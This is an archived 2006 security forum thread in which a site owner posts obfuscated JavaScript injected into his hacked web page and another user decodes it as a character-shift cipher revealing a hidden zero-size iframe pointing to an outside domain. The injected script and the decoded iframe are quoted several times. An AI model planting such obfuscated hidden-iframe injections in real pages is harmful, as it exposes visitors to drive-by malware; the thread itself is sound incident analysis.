Malicious javascript obfustication

Malicious javascript obfustication

Secure Home | Search | About
 Computer Software Security    Post an article   get this group's latest topics as an RSS feed add this group's latest topics to your My MSN content add this group's latest topics to your My Yahoo content add this group's latest topics to your Google content
Subject Author Date
Malicious javascript obfustication Wong Yung 10-22-2006
Posted by Wong Yung on October 22, 2006, 11:50 pm
If you were  Registered and logged in, you could reply and use other advanced thread options
Hi

Recently the webserver my page is on was hacked. Someone put in some
malicious javascript which I believe redirects the browser to another
webpage. I want to go to the URL directly using something like links
on Linux or Safari on Mac (as I have a strong suspicion it's probably
exploitin some IE vulnerability or trying to download some Windows
trojan) to work out what exactly it was trying to do. However it looks
like the URL was obfusticated:

[quote]
s='@mjveqi$wvgA&lxxt>33i;he;2mr3syx2tltCwcmhA5&$piA&hmwtpe}>rsri&B';o='';for(i=0;i<92;i++)document.write(o);
[/quote]

Is there any tool I can use to work out what the URL is from this?

Thanks!


Posted by Todd H. on October 23, 2006, 12:29 am
If you were  Registered and logged in, you could reply and use other advanced thread options

> Hi
>
> Recently the webserver my page is on was hacked. Someone put in some
> malicious javascript which I believe redirects the browser to another
> webpage. I want to go to the URL directly using something like links
> on Linux or Safari on Mac (as I have a strong suspicion it's probably
> exploitin some IE vulnerability or trying to download some Windows
> trojan) to work out what exactly it was trying to do. However it looks
> like the URL was obfusticated:
>
> [quote]
>
s='@mjveqi$wvgA&lxxt>33i;he;2mr3syx2tltCwcmhA5&$piA&hmwtpe}>rsri&B';o='';for(i=0;i<92;i++)document.write(o);
> [/quote]
>
> Is there any tool I can use to work out what the URL is from this?

It's javascript so a web browser is all you need.

It's a rot 4 encoding if you will. It's just taking each of the
characters of that string s and subtracting 4 from it
i.e. s.charCodeAt(i)-4

By changing document.write(o) to an alert() call you can see what it
says.

It translates to

<iframe src="http://e7da7.in/out.php?s_id=1" width=0 border=0 height=0
style="display:none">


And that page appears to redirect somewhere else.

<a

href="http://kaonline.biz/redirect.php?a=/&b=ACURIOUSLONGSTRINGOFHEXCHARACTERS">Click
here to enter the site </a>



--
Todd H.
http://www.toddh.net/

Posted by Wong Yung on October 23, 2006, 1:04 am
If you were  Registered and logged in, you could reply and use other advanced thread options

Todd H. wrote:
>
> > Hi
> >
> > Recently the webserver my page is on was hacked. Someone put in some
> > malicious javascript which I believe redirects the browser to another
> > webpage. I want to go to the URL directly using something like links
> > on Linux or Safari on Mac (as I have a strong suspicion it's probably
> > exploitin some IE vulnerability or trying to download some Windows
> > trojan) to work out what exactly it was trying to do. However it looks
> > like the URL was obfusticated:
> >
> > [quote]
> >
s='@mjveqi$wvgA&lxxt>33i;he;2mr3syx2tltCwcmhA5&$piA&hmwtpe}>rsri&B';o='';for(i=0;i<92;i++)document.write(o);
> > [/quote]
> >
> > Is there any tool I can use to work out what the URL is from this?
>
> It's javascript so a web browser is all you need.
>
> It's a rot 4 encoding if you will. It's just taking each of the
> characters of that string s and subtracting 4 from it
> i.e. s.charCodeAt(i)-4
>
> By changing document.write(o) to an alert() call you can see what it
> says.
>
> It translates to
>
> <iframe src="http://e7da7.in/out.php?s_id=1" width=0 border=0 height=0
style="display:none">
>
>
> And that page appears to redirect somewhere else.
>
> <a
>
href="http://kaonline.biz/redirect.php?a=/&b=ACURIOUSLONGSTRINGOFHEXCHARACTERS">Click
here to enter the site </a>

>
>
>
> --
> Todd H.
> http://www.toddh.net/

Thanks very much Todd!

I went to the webpage and it's very strange. It doesn't seem to
attempt to download anything. They (kaonline.biz) claim that someone
is trying to blackmail them by sending spam in their name and then
trying to extort money from them. If this is true and they are not
lying their heads off I wonder if this is part of the supposed
extortion attempt. Or maybe they're just saying that because really
they are spammers and...*Sigh* I don't know what to believe anymore.

Still this is only what it is doing *now*. The webserver looks like it
has been hacked for a while now and god knows what's been happening in
the meantime.

Thanks though for helping out!


Posted by Todd H. on October 23, 2006, 1:50 am
If you were  Registered and logged in, you could reply and use other advanced thread options

> Thanks very much Todd!
>
> I went to the webpage and it's very strange. It doesn't seem to
> attempt to download anything. They (kaonline.biz) claim that someone
> is trying to blackmail them by sending spam in their name and then
> trying to extort money from them. If this is true and they are not
> lying their heads off I wonder if this is part of the supposed
> extortion attempt. Or maybe they're just saying that because really
> they are spammers and...*Sigh* I don't know what to believe anymore.
>
> Still this is only what it is doing *now*. The webserver looks like it
> has been hacked for a while now and god knows what's been happening in
> the meantime.
>
> Thanks though for helping out!

No problem.

Was your webhost based on cpanel.net software? A few weeks ago, a
whole bunch of cpanel based sites got owned and were used largely to
spread the Internet Explorer 0day exploit dujour. I think that
issue has been patched but it did affect a lot of folks. Curious if
you were one of em.

Best Regards,
--
Todd H.
http://www.toddh.net/

Posted by Wong Yung on October 23, 2006, 2:20 am
If you were  Registered and logged in, you could reply and use other advanced thread options

Todd H. wrote:
>
> > Thanks very much Todd!
> >
> > I went to the webpage and it's very strange. It doesn't seem to
> > attempt to download anything. They (kaonline.biz) claim that someone
> > is trying to blackmail them by sending spam in their name and then
> > trying to extort money from them. If this is true and they are not
> > lying their heads off I wonder if this is part of the supposed
> > extortion attempt. Or maybe they're just saying that because really
> > they are spammers and...*Sigh* I don't know what to believe anymore.
> >
> > Still this is only what it is doing *now*. The webserver looks like it
> > has been hacked for a while now and god knows what's been happening in
> > the meantime.
> >
> > Thanks though for helping out!
>
> No problem.
>
> Was your webhost based on cpanel.net software? A few weeks ago, a
> whole bunch of cpanel based sites got owned and were used largely to
> spread the Internet Explorer 0day exploit dujour. I think that
> issue has been patched but it did affect a lot of folks. Curious if
> you were one of em.
>
> Best Regards,
> --
> Todd H.
> http://www.toddh.net/


No,

I think the webserver was running Apache on Linux (I say "I think"
because I wasn't admining it so I don't know what exactly was running
on the computer). The problem is it wasn't updated and so I guess in
the end you can say it was all our own fault.

*Sigh* I'm still worried though because even though it looks like the
hack is fairly harmless now it looks like it was hacked a while ago and
who knows if they hadn't taken the opportunity to download Trojans onto
a few computers first. You know how it is with security - once one
thing gets compromised everything touching it is tainted because you
can't be sure what the hackers were doing.

Usually I run either Linux (most of these redirect things lead to some
Windows specific malware) or Windows with Firefox with the NoScript
extension which blocks all javascript except on sites you whitelist.
However, I *did* test my website in IE several times when the script
was present so I could make sure the css looked OK. Nor did I turn off
scripting in IE because I hardly ever use it and I didn't think my own
website would be a security risk. Not sure what to do now...probably
run a full anti-virus and anti-spyware check but you know that doesn't
catch everything. On the bright side of things I don't remember any
anti-virus alerts, or probably more importantly any warnings about
something trying to replace program x with a different version (I have
a program which detects when program files get changed) when I was
looking at my site in IE...

Anyway, thanks a lot for your help. It did help relieve my mind a lot.


Similar ThreadsPosted
Is Javascript Secure? June 7, 2006, 12:11 pm
Javascript exploit November 5, 2006, 5:00 pm
Malicious programs that are installed via HTML. January 23, 2006, 7:03 pm
Re: Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution Vulnerability December 19, 2005, 8:27 pm
Windows Malicious Software Removal Tool ? November 14, 2005, 8:02 pm
OT: An attempt to learn from a malicious attack by an internet cracker. March 26, 2006, 1:01 am

The site map in XML format XML site map

Contact Us | Privacy Policy